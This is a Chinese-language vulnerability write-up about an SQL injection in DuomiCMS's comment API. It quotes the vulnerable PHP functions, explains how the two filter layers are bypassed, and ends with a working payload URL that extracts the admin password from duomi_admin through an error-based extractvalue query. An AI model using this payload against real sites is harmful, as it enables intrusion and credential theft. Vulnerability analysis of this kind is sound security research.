欢迎光临
我们一直在努力

DuomiCMS /interface/comment/api/index.php SQL注入漏洞

漏洞详情

DuomiCMS在SQL防注入方面做了2层安全检测,第一层检测是在代码入口处,使用了360的简易WAF规则。第二层是在数据库查询入口处使用了dedecms的SQL检测函数。DuomiCMS 的 /interface/comment/api/index.php 文件过滤不完全,可通过绕过SQL注入检测机制,触发SQL注入漏洞。

漏洞原因
一、背景

duomicms在SQL防注入方面做了2层安全检测,第一层检测是在代码入口处,使用了360的简易WAF规则。第二层是在数据库查询入口处使用了dedecms的SQL检测函数。
duomicms使用了伪全局变量,对GET/POST/COOKIE中的变量做了addslashes
由上可知要完成注入的必要条件有:

注入点无单引号保护
绕过文件入口处的360WAF规则和数据库查询入口处的dedecms SQL检查函数。

二、注入点 /interface/comment/api/index.php文件中的Readrlist函数:


function Readrlist($ids,$page,$size) {         global $dsql,$type;         $rl=array();         $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM duomi_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";         $dsql->setQuery($sql);         $dsql->Execute('commentrlist');         while($row=$dsql->GetArray('commentrlist'))         {                 $rl[]="/"".$row['id']."/":{/"uid/":".$row['uid'].",/"tmp/":/"/",/"nick/":/"".$row['username']."/",/"face/":/"/",/"star/":/"/",/"anony/":".(empty($row['username'])?1:0).",/"from/":/"".$row['username']."/",/"time/":/"".$row['dtime']."/",/"reply/":/"".$row['reply']."/",/"content/":/"".$row['msg']."/",/"agree/":".$row['agree'].",/"aginst/":".$row['anti'].",/"pic/":/"".$row['pic']."/",/"vote/":/"".$row['vote']."/",/"allow/":/"".(empty($row['anti'])?0:1)."/",/"check/":/"".$row['ischeck']."/"}";         }         $readrlist=join($rl,",");         return $readrlist; }

从sql语句中可以看出ids参数被带入in操作符,但是没有单引号保护,再看调用Readrlist函数的地方:


function ReadData($id,$page) {         global $type,$pCount,$rlist;         $ret = array("","",$page,0,10,$type,$id);         if($id>0)         {                 $ret[0] = Readmlist($id,$page,$ret[4]);                 $ret[3] = $pCount;                 $x = implode(',',$rlist);                 if(!empty($x))                 {                 $ret[1] = Readrlist($x,1,10000);                 }         }                $readData = FormatJson($ret);         return $readData; }

可以看出注入点ids来自全局变量rlist,而rlist参数是用户可以控制的,由此造成注入。

三、规则绕过

通过构造如下payload即可绕过两处规则检测:


http://127.0.0.1/interface/comment/api/index.php?gid=1=2[0]=`'`.``.id, extractvalue(1, concat_ws(0x20, 0x5c,(select`password` from duomi_admin limit 1))),`'`.``.id

未经允许不得转载:杂术馆 » DuomiCMS /interface/comment/api/index.php SQL注入漏洞
分享到: 更多 (0)